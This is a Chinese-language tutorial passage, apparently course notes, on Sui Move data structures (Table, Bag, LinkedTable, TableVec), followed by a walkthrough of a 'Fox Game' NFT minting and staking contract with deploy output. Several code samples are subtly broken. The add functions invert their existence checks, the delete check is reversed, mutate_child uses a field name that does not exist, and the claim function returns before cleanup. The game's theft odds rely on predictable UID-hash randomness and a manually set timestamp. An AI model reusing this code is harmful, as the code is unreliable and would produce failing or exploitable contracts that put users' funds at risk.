        assert!(table::contains(&parent.children, index), EChildAlreadyExists);
        table::add(&mut parent.children, index, Child { id: object::new(ctx), value: 0 });
    }
    // 修改
    public fun mutate_child(child: &mut Child) {
        child.age = child.age + 1;
    }

    public entry fun mutate_child_via_parent(parent: &mut Parent, index: u64) {
        mutate_child(table::borrow_mut(&mut parent.children, index));
    }
    // 删除
    public entry fun delete_child(parent: &mut Parent, index: u64) {
        assert!(!table::contains(&parent.children, index), EChildNotExists);
        let Child { id, age: _ } = table::remove(
            &mut parent.children,
            index
        );
        object::delete(id);
    }
}
}

Bag

Bag 的操作与 table 的操作接口类似:

  • 添加元素: add
  • 读取和修改元素: borrowborrow_mut
  • 删除元素: delete
  • 元素长度: length
  • 判断存在性:contains

这里我们仅展示添加不同类型的键值对。

Object_bag 的操作与 bag 类似。

#![allow(unused)]
fn main() {
module ds::bags {
    use sui::object::{Self, UID};
    use sui::transfer;
    use sui::tx_context::{Self, TxContext};
    use sui::bag::{Self, Bag};

    const EChildAlreadyExists: u64 = 0;
    const EChildNotExists: u64 = 1;

    struct Parent has key {
        id: UID,
        children: Bag,
    }

    struct Child1 has key, store {
        id: UID,
        value: u64
    }

    struct Child2 has key, store {
        id: UID,
        value: u64
    }

    public entry fun initialize(ctx: &mut TxContext) {
        transfer::transfer(
            Parent { id: object::new(ctx), children: bag::new(ctx) },
            tx_context::sender(ctx)
        );
    }
    // 添加第一种类型
    public entry fun add_child1(parent: &mut Parent, index: u64, ctx: &mut TxContext) {
        assert!(bag::contains(&parent.children, index), EChildAlreadyExists);
        bag::add(&mut parent.children, index, Child1 { id: object::new(ctx), value: 0 });
    }
    // 添加第二种类型
    public entry fun add_child2(parent: &mut Parent, index: u64, ctx: &mut TxContext) {
        assert!(bag::contains(&parent.children, index), EChildAlreadyExists);
        bag::add(&mut parent.children, index, Child2 { id: object::new(ctx), value: 0 });
    }
}
}

LinkedTable

linked_table 是另一种使用 dynamic field 实现的数据结构,它与 table 类似,除此之外,它还支持值的有序插入和删除。因此,除了 table 类似的基础操作方法,还包含 frontbackpush_frontpush_backpop_frontpop_back等操作,对于每一个键,也可以通过 prevnext 获取前一个和后一个插入的键。

#![allow(unused)]
fn main() {
module ds::linked_tables {
    use sui::linked_table::{
        Self,
        push_front,
        push_back,
        borrow,
        borrow_mut,
        remove,
        pop_front,
        pop_back,
        contains,
        is_empty,
        destroy_empty
    };
    use sui::tx_context::TxContext;

    public entry fun simple_all_functions(ctx: &mut TxContext) {
        let table = linked_table::new(ctx);
        // 添加字段
        push_back(&mut table, b"hello", 0);
        push_back(&mut table, b"goodbye", 1);
        // [b"hello", b"goodbye"]
        // 检查是否存在
        assert!(contains(&table, b"hello"), 0);
        assert!(contains(&table, b"goodbye"), 0);
        assert!(!is_empty(&table), 0);
        // 修改
        *borrow_mut(&mut table, b"hello") = *borrow(&table, b"hello") * 2;
        *borrow_mut(&mut table, b"goodbye") = *borrow(&table, b"goodbye") * 2;
        // 检查修改之后的值
        assert!(*borrow(&table, b"hello") == 0, 0);
        assert!(*borrow(&table, b"goodbye") == 2, 0);
        // 插入头部
        push_front(&mut table, b"!!!", 2);
        // b"!!!", b"hello", b"goodbye"]
        // 在末尾添加
        push_back(&mut table, b"?", 3);
        // [b"!!!", b"hello", b"goodbye", b"?"]
        // 从头部弹出
        let (front_k, front_v) = pop_front(&mut table);
        assert!(front_k == b"!!!", 0);
        assert!(front_v == 2, 0);
        // 从中间删除
        assert!(remove(&mut table, b"goodbye") == 2, 0);
        // [b"hello", b"?"]
        // 从末尾删除
        let (back_k, back_v) = pop_back(&mut table);
        assert!(back_k == b"?", 0);
        assert!(back_v == 3, 0);
        // 移出值并检查
        assert!(remove(&mut table, b"hello") == 0, 0);
        // 检查不存在
        assert!(is_empty(&table), 0);
        destroy_empty(table);
    }
}
}

TableVec

最后,我们介绍一种基于 table 的数据结构 table_vec。从名字就可以看出,table_vec 是使用 table 实现的可扩展 vector,它使用元素在 vector 的索引作为 table 中的键进行存储。table_vec 提供了与 vector 类似的操作方法。

#![allow(unused)]
fn main() {
module ds::table_vecs {
    use sui::table_vec;
    use sui::tx_context::TxContext;

    public entry fun example(ctx: &mut TxContext) {
        let vec = table_vec::singleton<u64>(1, ctx);

        table_vec::push_back(&mut vec, 2);
        assert!(table_vec::length(&vec) == 2, 0);

        let v = table_vec::borrow_mut(&mut vec, 1);
        *v = 3;

        assert!(table_vec::pop_back(&mut vec) == 3, 1);
        assert!(table_vec::pop_back(&mut vec) == 1, 1);

        assert!(table_vec::is_empty(&vec), 2);
        table_vec::destroy_empty(vec);
    }
}
}

编译并运行示例:

sui client call \
  --function example \
  --module table_vecs \
  --package ${package_id} \
  --gas-budget 30000

至此,我们介绍完了 Sui Move 中主要的数据类型及其使用方法,希望大家学习和理解 Sui Move 有一定的帮助。

Sui 类狼羊游戏项目开发实践

这篇文章将向你介绍 Sui Move 版本的类狼羊游戏的合约和前端编写过程。阅读前,建议先熟悉以下内容:

  1. Sui 命令行的基本操作;
  2. Move 语法(基础高级)和 Sui Move 的对象语法;
  3. React 基本语法。

项目代码:

在线 Demo: https://fox-game-interface.vercel.app/

Untitled

0x1 狼羊游戏的规则

狼羊游戏是以太坊上的 NFT 游戏,玩家通过购买NFT,然后将 NFT 质押来获取游戏代币 WOOL 可用于之后的 NFT 铸造。有趣的是,狼羊游戏在这个过程中引入了随机性,让单纯的质押过程增加了不确定性,因而吸引了大量玩家参与到游戏中,狼羊游戏的可玩性也是建立在这个基础之上。具体的游戏规则为:

1.1

你有90%的概率铸造一只羊,每只羊都有独特的特征。以下是他们可以采取的行动:

  1. 进入谷仓(Stake)

  2. 每天累积 10,000 羊毛 WOOL (Claim)

    收到的羊毛80%累积在羊的身上,狼对剪下的羊毛收取20%的税,作为不攻击谷仓的回报。征税的 WOOL 都被剪掉了。只有当羊积累了2天价值的 WOOL 有50%的几率被狼全部偷走。被盗 WOOL 铸造一个新羊

    铸造的 NFT 有10%的可能性实际上是狼!新的羊或狼有10%的几率被质押的狼偷走。每只狼的成功机会与他们的 Alpha 分数成正比。

1.2

你有 10% 的机会铸造一只狼,每只狼都有独特的特征,包括 5~8 的 Alpha 值。Alpha值越高,狼从税收中赚取的 WOOL 税。

例子:狼A的 Alpha 为8,狼B的 Alpha 为6,并且他们都被质押。

  • 如果累计 70,000 羊毛作为税款,狼A将能够获得 40,000 羊毛,狼B将能够获得 30,000 羊毛;
  • 如果新铸造的羊或狼被盗,狼A有57%概率获得,狼B有43%的概率获得。

本次项目实践,我们将在 Sui 区块链上通过 Move 智能合约语言来实现游戏铸造,质押和获取 NFT 过程,并使用新的游戏元素:狐狸,鸡和鸡蛋,其中狐狸对应狼,鸡对应羊,鸡蛋对应羊毛,其他过程不变,我们将这个游戏命名为狐狸游戏

0x2 合约开发

我们首先进行智能合约的编写,大致分为以下几个部分:

  • 创建 NFT
  • 铸造 NFT(Mint)
  • 质押 NFT (Stake)
  • 鸡蛋(EGG)代币和收集鸡蛋(Collect/Claim)
  • 提取 NFT(Unstake)

2.1 NFT 结构

首先我们定义狐狸和鸡的 NFT 的结构,我们使用一个结构体 FoxOrChicken 来表示这个 NFT, 通过 is_chicken 来进行区分:

#![allow(unused)]
fn main() {
 // 文件:token_helper.move
    /// Defines a Fox or Chicken attribute. Eg: `pattern: 'panda'`
    struct Attribute has store, copy, drop {
        name: vector<u8>,
        value: vector<u8>,
    }

    struct FoxOrChicken has key, store {
        id: UID,
        index: u64, // 索引
        is_chicken: bool, // 是否是鸡
        alpha: u8, // 狐狸的 alpha
        url: Url, // 图片
        link: Url, // NFT 链接
        item_count: u8, // 当前 NFT 的数量
        attributes: vector<Attribute>, // 属性
    }
}

其中, url 既可以是指向 NFT 图片的链接,也可以是 base64 编码的字符串,比如 data:image/svg+xml;base64,PHN2Zy......link 是一个指向 NFT 的页面。

2.2 创建 NFT 对象

整个创建 NFT 的逻辑大致就是根据随机种子生成对应属性索引,根据属性索引构建对应的属性列表和图片,从而创建 NFT。

创建 NFT 使用到 FoCRegistry 结构体,这个数据结构用于记录关于 NFT 的一些数据,比如 foc_born 记录生产的 NFT 总数,foc_hash 用于在生产 NFT 时产生随机数,该随机数用于生成 NFT 的属性,foc_hash 可以看作是 NFT 的基因。具体的属性值记录如下:

#![allow(unused)]
fn main() {
// 文件:token_helper.move

        struct FoCRegistry has key, store {
        id: UID,
        foc_born: u64, // NFT supply
        foc_hash: vector<u8>, // NFT gene
        rarities: vector<vector<u8>>, // 属性值概率
        aliases: vector<vector<u8>>, // 属性值索引
        types: Table<ID, bool>, // NFT 对象 ID 与类型(是否为鸡)的对应
        alphas: Table<ID, u8>, // 狐狸的 Alpha 值
        trait_data: Table<u8, Table<u8, Trait>>, // 属性值,第一个u8是类型编号,第二个u8是属性索引
        trait_types: vector<vector<u8>>, // 属性类型名称
    }
}

创建 NFT 方法 create_foc 如下:

#![allow(unused)]
fn main() {
// 文件:token_helper.move
        public(friend) fun create_foc(
        reg: &mut FoCRegistry, ctx: &mut TxContext
    ): FoxOrChicken {
        let id = object::new(ctx);
        reg.foc_born = reg.foc_born + 1;
        // 根据 UID 与旧 foc_hash 生产新的 foc_hash
        vec::append(&mut reg.foc_hash, object::uid_to_bytes(&id));
        reg.foc_hash = hash(reg.foc_hash);
        // 随机产生 trait,并生成属性对 attributes
        let fc = generate_traits(reg);
        let attributes = get_attributes(reg, &fc);

        let alpha = *vec::borrow(&ALPHAS, (fc.alpha_index as u64));
        // 记录ID对应类型
        table::add(&mut reg.types, object::uid_to_inner(&id), fc.is_chicken);
        if (!fc.is_chicken) {
            table::add(&mut reg.alphas, object::uid_to_inner(&id), alpha);
        };
        // 生成事件
        emit(FoCBorn {
            id: object::uid_to_inner(&id),
            index: reg.foc_born,
            attributes: *&attributes,
            created_by: tx_context::sender(ctx),
        });
        // 返回生成的 FoxOrChicken
        FoxOrChicken {
            id,
            index: reg.foc_born,
            is_chicken: fc.is_chicken,
            alpha: alpha,
            url: img_url(reg, &fc),
            link: link_url(reg.foc_born, fc.is_chicken),
            attributes,
            item_count: 0,
        }
    }
}

其中 genetate_traits 用于根据 foc_hash 生成 NFT 的属性值,此处属性为对应属性值的索引,select_trait 根据 A.J. Walker’s Alias 算法根据预先设置好的每一个属性的随机概率(rarities)来快速生成对应的属性索引。详情可以参考文章 https://zhuanlan.zhihu.com/p/436785581 中 A.J. Walker’s Alias 算法一节****。****

#![allow(unused)]
fn main() {
// 文件: token_helper.move
        // generates traits for a specific token, checking to make sure it's unique
    public fun generate_traits(
        reg: &FoCRegistry,
        // seed: &vector<u8>
    ): Traits {
        let seed = reg.foc_hash;
        let is_chicken = *vec::borrow(&seed, 0) >= 26; // 90% 0f 255
        let shift = if (is_chicken) 0 else 9;
        // 根据随机种子生成属性
                Traits {
            is_chicken,
            fur: select_trait(reg, *vec::borrow(&seed, 1), *vec::borrow(&seed, 10), 0 + shift),
            head: select_trait(reg, *vec::borrow(&seed, 2), *vec::borrow(&seed, 11), 1 + shift),
            ears: select_trait(reg, *vec::borrow(&seed, 3), *vec::borrow(&seed, 12), 2 + shift),
            eyes: select_trait(reg, *vec::borrow(&seed, 4), *vec::borrow(&seed, 13), 3 + shift),
            nose: select_trait(reg, *vec::borrow(&seed, 5), *vec::borrow(&seed, 14), 4 + shift),
            mouth: select_trait(reg, *vec::borrow(&seed, 6), *vec::borrow(&seed, 15), 5 + shift),
            neck: select_trait(reg, *vec::borrow(&seed, 7), *vec::borrow(&seed, 16), 6 + shift),
            feet: select_trait(reg, *vec::borrow(&seed, 8), *vec::borrow(&seed, 17), 7 + shift),
            alpha_index: select_trait(reg, *vec::borrow(&seed, 9), *vec::borrow(&seed, 18), 8 + shift),
        }
    }
    // 根据 A.J. Walker's Alias 算法计算属性值
        fun select_trait(reg: &FoCRegistry, seed1: u8, seed2: u8, trait_type: u64): u8 {
        let trait = (seed1 as u64) % vec::length(vec::borrow(&reg.rarities, trait_type));
        if (seed2 < *vec::borrow(vec::borrow(&reg.rarities, trait_type), trait)) {
            return (trait as u8)
        };
        *vec::borrow(vec::borrow(&reg.aliases, trait_type), trait)
    }
}

get_attributes 则是根据属性索引值对应从 trait_typestrait_data 中将属性的真实值取出并构建成属性数组。

#![allow(unused)]
fn main() {
fun get_attributes(reg: &mut FoCRegistry, fc: &Traits): vector<Attribute>
}

img_url 则通过上述生成的特征构建出对应的 base64 编码的 svg 图片。

#![allow(unused)]
fn main() {
        /// Construct an image URL for the NFT.
    fun img_url(reg:&mut FoCRegistry, fc: &Traits): Url {
        url::new_unsafe_from_bytes(token_uri(reg, fc))
    }
        fun token_uri(reg: &mut FoCRegistry, foc: &Traits): vector<u8> {
        let uri = b"data:image/svg+xml;base64,";
        vec::append(&mut uri, base64::encode(&draw_svg(reg, foc)));
        uri
    }
}

至此,我们可以通过 create_foc 方法创建一个 FoxOrChicken NFT。

2.3 铸造 NFT

接下来我们看到铸造 NFT 过程,大致过程为:

  1. 判断总供给量是否满足条件;
  2. 如果在 SUI 代币购买阶段,则转移 SUI 代币,否则,需要支付 EGG 代币进行铸造,EGG 的铸造和销毁在之后的章节中介绍;
  3. 铸造 NFT 并根据50%概率判断是否被质押的狐狸盗走;
  4. 如果选择质押则将 NFT 转入质押,否则转入铸造者的账户中。
#![allow(unused)]
fn main() {
// 文件: fox.move
    /// mint a fox or chicken
    public entry fun mint(
        global: &mut Global,
        treasury_cap: &mut TreasuryCap<EGG>,
        amount: u64,
        stake: bool,
        pay_sui: vector<Coin<SUI>>,
        pay_egg: vector<Coin<EGG>>,
        ctx: &mut TxContext,
    ) {
        assert_enabled(global);
        // 检查供应量是否超出总供应量
        assert!(amount > 0 && amount <= config::max_single_mint(), EINVALID_MINTING);
        let token_supply = token_helper::total_supply(&global.foc_registry);
        assert!(token_supply + amount <= config::target_max_tokens(), EALL_MINTED);

        let receiver_addr = sender(ctx);
        // 处理 SUI 代币付款
        if (token_supply < config::paid_tokens()) {
            assert!(vec::length(&pay_sui) > 0, EINSUFFICIENT_SUI_BALANCE);
            assert!(token_supply + amount <= config::paid_tokens(), EALL_MINTED);
            let price = config::mint_price() * amount;
            let (paid, remainder) = merge_and_split(pay_sui, price, ctx);
            coin::put(&mut global.balance, paid);
            transfer(remainder, sender(ctx));
        } else {
            // EGG 代币付款阶段返还 SUI 代币
            if (vec::length(&pay_sui) > 0) {
                transfer(merge(pay_sui, ctx), sender(ctx));
            } else {
                vec::destroy_empty(pay_sui);
            };
        };
        let id = object::new(ctx);
        let seed = hash(object::uid_to_bytes(&id));
        let total_egg_cost: u64 = 0;
        let tokens: vector<FoxOrChicken> = vec::empty<FoxOrChicken>();
        let i = 0;
        while (i < amount) {
            let token_index = token_supply + i + 1;
            // 判断是否被狐狸盗走
            let recipient: address = select_recipient(&mut global.pack, receiver_addr, seed, token_index);
            let token = token_helper::create_foc(&mut global.foc_registry, ctx);
            if (!stake || recipient != receiver_addr) {
                transfer(token, receiver_addr);
            } else {
                vec::push_back(&mut tokens, token);
            };
            // 计算 EGG 代币花费
            total_egg_cost = total_egg_cost + mint_cost(token_index);
            i = i + 1;
        };
        // 如果需要 EGG 代币花费,则转移并销毁 EGG 代币
        if (total_egg_cost > 0) {
            assert!(vec::length(&pay_egg) > 0, EINSUFFICIENT_EGG_BALANCE);
            // burn EGG
            let total_egg = merge(pay_egg, ctx);
            assert!(coin::value(&total_egg) >= total_egg_cost, EINSUFFICIENT_EGG_BALANCE);
            let paid = coin::split(&mut total_egg, total_egg_cost, ctx);
            egg::burn(treasury_cap, paid);
            transfer(total_egg, sender(ctx));
        } else {
            if (vec::length(&pay_egg) > 0) {
                transfer(merge(pay_egg, ctx), sender(ctx));
            } else {
                vec::destroy_empty(pay_egg);
            };
        };
        // 铸造的同时质押,则将 NFT 转入重要中
        if (stake) {
            barn::stake_many_to_barn_and_pack(
                &mut global.barn_registry,
                &mut global.barn,
                &mut global.pack,
                tokens,
                ctx
            );
        } else {
            vec::destroy_empty(tokens);
        };
        object::delete(id);
    }
}

2.4 质押 NFT

质押 NFT 时,我们通过 NFT 的属性值 is_chicken 来将不同的NFT放置到不同的容器中。其中,狐狸放置在 Pack 中,鸡放置在 Barn 中。每一个 NFT 在放置的同时记录对应的 owner 地址和用于计算质押收益的时间戳。

对于 Barn,除了记录 NFT 对象 IDStake 之间对应关系的 items,还增加了一个 dynamic_field,用于记录 owner 地址所有质押的 NFT 的数组: dynamic_field: <address, vector<ID>>

同理,Pack 也用 items 记录了质押的所有 NFT,用 Alpha 进行了分类存储,在 ObjectTable<u8, ObjectTable<u64, Stake>> 的结构中,第一个 u8 对应于 Alpha 值,第二个 ObjectTable<u64, Stake> 则是用 ObjectTable 实现了 vector 的功能,u64 对应 Stake 的索引,因此,item_size 这个属性记录了每个 Alpha 值对应 ObjectTable 的大小。

pack_indices 用于记录每个 NFT 所在数组中的索引,最后还有一个 dynamic_field 记录了 owner 地址的所有质押的 NFT 的数组。

以上关于 Barn 和 Pack 的设计目的在于:

  1. FoxOrChicken 成为 Stake 的一个属性时,在区块链上无法追踪,因此,只能通过 Stake 的 Object ID 进行追踪,items 都是为了保证能直接通过 NFT 的 Object ID 来对应到 Stake;
  2. 记录 owner 地址的所有质押的 NFT ID 的数组是为了方便在业务中查询某个地址的质押的 NFT,dynamic_field 可以方便查询。
#![allow(unused)]
fn main() {
        // struct to store a stake's token, owner, and earning values
    struct Stake has key, store {
        id: UID,
        item: FoxOrChicken,
        value: u64, // 用于质押收益计算的时间戳
        owner: address,
    }

    struct Barn has key, store {
        id: UID,
        items: ObjectTable<ID, Stake>,
        // staked: Table<address, vector<ID>>, // address -> stake_id
    }

    struct Pack has key, store {
        id: UID,
        items: ObjectTable<u8, ObjectTable<u64, Stake>>,
        // alpha -> index -> Stake
        item_size: vector<u64>,
        // size for each alpha
        pack_indices: Table<ID, u64>,
        // staked: Table<address, vector<ID>>, // address -> stake_id
    }
}

我们接下来看到如何质押一个 Chicken 的 NFT,方法调用层级为 stake_many_to_barn_and_pack -> stake_chicken_to_barn -> add_chicken_to_barn, record_staked

#![allow(unused)]
fn main() {
// 文件: Token_helper.move
        // 质押多个 NFT
        public fun stake_many_to_barn_and_pack(
        reg: &mut BarnRegistry,
        barn: &mut Barn,
        pack: &mut Pack,
        tokens: vector<FoxOrChicken>,
        ctx: &mut TxContext,
    ) {
        let i = vec::length<FoxOrChicken>(&tokens);
        while (i > 0) {
            let token = vec::pop_back(&mut tokens);
            // 通过属性 is_chicken 判断质押方向
            if (token_helper::is_chicken(&token)) {
                // 更新收益
                update_earnings(reg, ctx);
                stake_chicken_to_barn(reg, barn, token, ctx);
            } else {
                stake_fox_to_pack(reg, pack, token, ctx);
            };
            i = i - 1;
        };
        vec::destroy_empty(tokens)
    }

        fun stake_chicken_to_barn(reg: &mut BarnRegistry, barn: &mut Barn, item: FoxOrChicken, ctx: &mut TxContext) {
        reg.total_chicken_staked = reg.total_chicken_staked + 1;
        let stake_id = add_chicken_to_barn(reg, barn, item, ctx);
                // 记录 owner 地址的所有质押的 NFT
        record_staked(&mut barn.id, sender(ctx), stake_id);
    }

        fun add_chicken_to_barn(reg: &mut BarnRegistry, barn: &mut Barn, item: FoxOrChicken, ctx: &mut TxContext): ID {
        let foc_id = object::id(&item);
        // 获取当前时间戳
        let value = timestamp_now(reg, ctx);
        let stake = Stake {
            id: object::new(ctx),
            item,
            value,
            owner: sender(ctx),
        };
        // 生成并添加质押
        let stake_id = object::id(&stake);
        emit(FoCStaked { id: foc_id, owner: sender(ctx), value });
        object_table::add(&mut barn.items, foc_id, stake);
        stake_id
    }

        fun record_staked(staked: &mut UID, account: address, stake_id: ID) {
        if (dof::exists_(staked, account)) {
            vec::push_back(dof::borrow_mut(staked, account), stake_id);
        } else {
            dof::add(staked, account, vec::singleton(stake_id));
        };
    }
}

同理,质押 Fox 进入 Pack 中的过程也是类似的,这里就不再赘述,方法调用层级为 stake_many_to_barn_and_pack -> stake_fox_to_pack ->``add_fox_to_pack, record_staked

2.5 提取 NFT

提取 Chicken NFT 时,方法调用层级为 claim_many_from_barn_and_pack -> claim_chicken_from_barn -> remove_chicken_from_barn, remove_staked

主要的过程为:

  1. 判断 NFT 类型,根据类型从不同的容器中提取 NFT;
  2. 判断 NFT 是否存在,是否超过最小质押时间;
  3. 计算质押收益;
  4. 如果选择提取 NFT,则收益50%概率被狐狸全部拿走;
  5. 如果只收集鸡蛋,则需要交 20% 作为保护费。
#![allow(unused)]
fn main() {
// 文件: token_helper.move
    // 提取多个 NFT
        public fun claim_many_from_barn_and_pack(
        foc_reg: &mut FoCRegistry,
        reg: &mut BarnRegistry,
        barn: &mut Barn,
        pack: &mut Pack,
        treasury_cap: &mut TreasuryCap<EGG>,
        tokens: vector<ID>,
        unstake: bool,
        ctx: &mut TxContext,
    ) {
        // 更新收益
        update_earnings(reg, ctx);
        let i = vec::length<ID>(&tokens);
        let owed: u64 = 0;
        while (i > 0) {
            let token_id = vec::pop_back(&mut tokens);
            // 通过 ID 判断是否为 chickena
            // 计算提取收益 owed
            if (token_helper::is_chicken_from_id(foc_reg, token_id)) {
                owed = owed + claim_chicken_from_barn(reg, barn, token_id, unstake, ctx);
            } else {
                owed = owed + claim_fox_from_pack(foc_reg, reg, pack, token_id, unstake, ctx);
            };
            i = i - 1;
        };
        // 根据 owed 的数量为地址铸造 EGG 代币
        if (owed == 0) { return };
        egg::mint(treasury_cap, owed, sender(ctx), ctx);
        vec::destroy_empty(tokens)
    }

        fun claim_chicken_from_barn(
        reg: &mut BarnRegistry,
        barn: &mut Barn,
        foc_id: ID,
        unstake: bool,
        ctx: &mut TxContext
    ): u64 {
        // 判断需要提取的 NFT 是否存在
        assert!(object_table::contains(&barn.items, foc_id), ENOT_IN_PACK_OR_BARN);
        let stake_time = get_chicken_stake_value(barn, foc_id);
        let timenow = timestamp_now(reg, ctx);
        // 判断是否超过了 48 小时的最小质押时间
        assert!(!(unstake && timenow - stake_time < MINIMUM_TO_EXIT), ESTILL_COLD);
        let owed: u64;
        // 判断是否超过了最大 EGG 铸造量,并计算质押所得
        if (reg.total_egg_earned < MAXIMUM_GLOBAL_EGG) {
            owed = (timenow - stake_time) * DAILY_EGG_RATE / ONE_DAY_IN_SECOND;
        } else if (stake_time > reg.last_claim_timestamp) {
            owed = 0; // $WOOL production stopped already
        } else {
            // stop earning additional $EGG if it's all been earned
            owed = (reg.last_claim_timestamp - stake_time) * DAILY_EGG_RATE / ONE_DAY_IN_SECOND;
        };
                
        if (unstake) {
            // 如果进行提取,则有50%的概率 EGG 全部被盗走
            let id = object::new(ctx);
            // FIXME
            if (random::rand_u64_range_with_seed(hash(object::uid_to_bytes(&id)), 0, 2) == 0) {
                // 50% chance of all $EGG stolen
                pay_fox_tax(reg, owed);
                owed = 0;
            };
            object::delete(id);
            // 更新质押数据,并移除质押,转移 NFT 给 owner 地址
            reg.total_chicken_staked = reg.total_chicken_staked - 1;
            let (item, stake_id) = remove_chicken_from_barn(barn, foc_id, ctx);
            remove_staked(&mut barn.id, sender(ctx), stake_id);
            transfer::transfer(item, sender(ctx));
        } else {
             // 如果只是收集 EGG,则 20% 作为保护费交给狐狸
            // percentage tax to staked foxes
            pay_fox_tax(reg, owed * EGG_CLAIM_TAX_PERCENTAGE / 100);
            // remainder goes to Chicken owner
            owed = owed * (100 - EGG_CLAIM_TAX_PERCENTAGE) / 100;
            // 重设质押状态
            set_chicken_stake_value(barn, foc_id, timenow);
        };
        emit(FoCClaimed { id: foc_id, earned: owed, unstake });
        owed
    }
}

同理,从 Pack 中提取 Fox 中的过程也是类似的,这里就不再赘述。

2.6 创建 EGG 代币和收集 EGG 代币

EGG 代币创建过程使用了 one-time-witness 模式,具体可以参考:Move 高阶语法 | 共学课优秀笔记 中的 Witness 模式一节。

代币的铸造能力 treasury_cap: TreasuryCap<EGG> 保存为共享对象,但是 mintburn 方法t通过 friend 关键字限制了只能在 foxbarn 模块中调用,因此控制了代币的产生和销毁的权限。

#![allow(unused)]
fn main() {
// 文件: egg.move
module fox_game::egg {
    use std::option;
    use sui::coin::{Self, Coin, TreasuryCap};
    use sui::transfer;
    use sui::tx_context::TxContext;

    friend fox_game::fox;
    friend fox_game::barn;

    struct EGG has drop {}

    fun init(witness: EGG, ctx: &mut TxContext) {
        let (treasury_cap, metadata) = coin::create_currency<EGG>(
            witness,
            9,
            b"EGG",
            b"Fox Game Egg",
            b"Fox game egg coin",
            option::none(),
            ctx
        );
        transfer::freeze_object(metadata);
        transfer::share_object(treasury_cap)
    }

    /// Manager can mint new coins
    public(friend) fun mint(
        treasury_cap: &mut TreasuryCap<EGG>, amount: u64, recipient: address, ctx: &mut TxContext
    ) {
        coin::mint_and_transfer(treasury_cap, amount, recipient, ctx)
    }

    /// Manager can burn coins
    public(friend) fun burn(treasury_cap: &mut TreasuryCap<EGG>, coin: Coin<EGG>) {
        coin::burn(treasury_cap, coin);
    }
}
}

2.7 初始化方法和 entry 方法

fox 模块作为整个包的入口模块,将对所有模块进行初始化,并提供 entry 方法。

我们在 fox 模块中设置了 Global 作为全局参数的结构体,用来保存不同模块需要用到的不同对象,一来方便我们看到系统需要处理的对象信息,二来减少了方法调用时需要传入的参数个数,通过Global对象将不同模块的对象进行分发,可以有效减少代码复杂度。

#![allow(unused)]
fn main() {
// 文件: fox.move
        struct Global has key {
        id: UID,
        minting_enabled: bool,
        balance: Balance<SUI>,
        pack: Pack,
        barn: Barn,
        barn_registry: BarnRegistry,
        foc_registry: FoCRegistry,
    }

    fun init(ctx: &mut TxContext) {
        // 初始化 FoC 管理权限
        transfer(token_helper::init_foc_manage_cap(ctx), sender(ctx));
        // 初始化全局设置
        share_object(Global {
            id: object::new(ctx),
            minting_enabled: true,
            balance: balance::zero(),
            barn_registry: barn::init_barn_registry(ctx),
            pack: barn::init_pack(ctx),
            barn: barn::init_barn(ctx),
            foc_registry: token_helper::init_foc_registry(ctx),
        });
        // 初始化时间设置权限
        transfer(config::init_time_manager_cap(ctx), @0xa3e46ec682bb5082849c240d2f2d20b0f6e054aa);
    }
}

除了之前介绍过的 mint 方法,我们还提供用于质押和提取 NFT 的 entry 方法:

#![allow(unused)]
fn main() {
// 文件: fox.move
        public entry fun add_many_to_barn_and_pack(
        global: &mut Global,
        tokens: vector<FoxOrChicken>,
        ctx: &mut TxContext,
    ) {
        barn::stake_many_to_barn_and_pack(&mut global.barn_registry, &mut global.barn, &mut global.pack, tokens, ctx);
    }

    public entry fun claim_many_from_barn_and_pack(
        global: &mut Global,
        treasury_cap: &mut TreasuryCap<EGG>,
        tokens: vector<ID>,
        unstake: bool,
        ctx: &mut TxContext,
    ) {
        barn::claim_many_from_barn_and_pack(
            &mut global.foc_registry,
            &mut global.barn_registry,
            &mut global.barn,
            &mut global.pack,
            treasury_cap,
            tokens,
            unstake,
            ctx
        );
    }
}

2.8 时间戳问题

目前 Sui 区块链还没有完全实现区块时间,而目前提供的 tx_context::epoch() 的精度为24小时,无法满足游戏需求。因此在游戏中,我们通过手动设置时间戳来模拟时间增加,以确保游戏顺利进行。

#![allow(unused)]
fn main() {
// 文件: barn.move

        struct BarnRegistry has key, store {
        id: UID,
        // 其他属性省略
        // fake_timestamp
        timestamp: u64,
    }
        public(friend) fun set_timestamp(reg: &mut BarnRegistry, current: u64, _ctx: &mut TxContext) {
        reg.timestamp = current;
    }
        // 当前时间戳
    fun timestamp_now(reg: &mut BarnRegistry, _ctx: &mut TxContext): u64 {
        reg.timestamp
    }
}

在初始化时,将设置时间的能力给到了一个预先生成的专门用于设置时间戳的地址 0xa3e46ec682bb5082849c240d2f2d20b0f6e054aa

#![allow(unused)]
fn main() {
// 文件: config.move
        // Manager cap to set time
    struct TimeManagerCap has key, store { id: UID }

    public(friend) fun init_time_manager_cap(ctx: &mut TxContext): TimeManagerCap {
        TimeManagerCap { id: object::new(ctx) }
    }

// 文件: fox.move
        fun init(ctx: &mut TxContext) {
        transfer(config::init_time_manager_cap(ctx), @0xa3e46ec682bb5082849c240d2f2d20b0f6e054aa);
    }

        public entry fun set_timestamp(_: &TimeManagerCap, global: &mut Global, current: u64, ctx: &mut TxContext) {
        barn::set_timestamp(&mut global.barn_registry, current, ctx)
    }
}

之后,我们可以设置定时任务进行时间戳更新,通过调用设置时间的命令进行,详细结果可以查看 3.2 节合约命令行调用:

sui client call --function set_timestamp --module fox --package ${fox_game} --args ${time_cap} ${global} \"$(date +%s)\" --gas-budget 30000

至此,我们介绍了合约部分的主要功能,详细的代码可以阅读项目仓库。

0x3 合约部署和调用

下面,我们首先将部署合约,并通过命令行进行方法的调用。

3.1 合约部署

通过以下命令可以编译和部署合约:

sui move build
sui client publish . --gas-budget 300000

输出结果为:

$ sui client publish . --gas-budget 300000
UPDATING GIT DEPENDENCY https://github.com/MystenLabs/sui.git
INCLUDING DEPENDENCY MoveStdlib
INCLUDING DEPENDENCY Sui
BUILDING fox_game
----- Certificate ----
Transaction Hash: 5FZi4YxiiBJsCj67JSSzkVZvHdJjKKPtMMMrfGbmPXvH
Transaction Signature: AA==@G9yAoybgfIEi7Wj8HFYeEFwG5WPtJ4FlJ+/jaMXFPyjWg4pUun3WQpB4VH5gim/FzqspMY7QAJcd0iTyJ910Dw==@htyihgkhXVia7MCmWeGtDeU96b7w1ivXPKBAV37DZoo=
Signed Authorities Bitmap: RoaringBitmap<[0, 1, 2]>
Transaction Kind : Publish
Sender: 0xefbb0d3f2dc566f1f4fa844621bee76b43c9579a
Gas Payment: Object ID: 0x0942e72397f46a831ce61003601cbb05697e7a83, version: 0x20f, digest: 0xc318f23ac2772738efe1b958be0b51e3c49d9c772d5aede9f41e1dc69edeb2ea
Gas Price: 1
Gas Budget: 300000
----- Transaction Effects ----
Status : Success
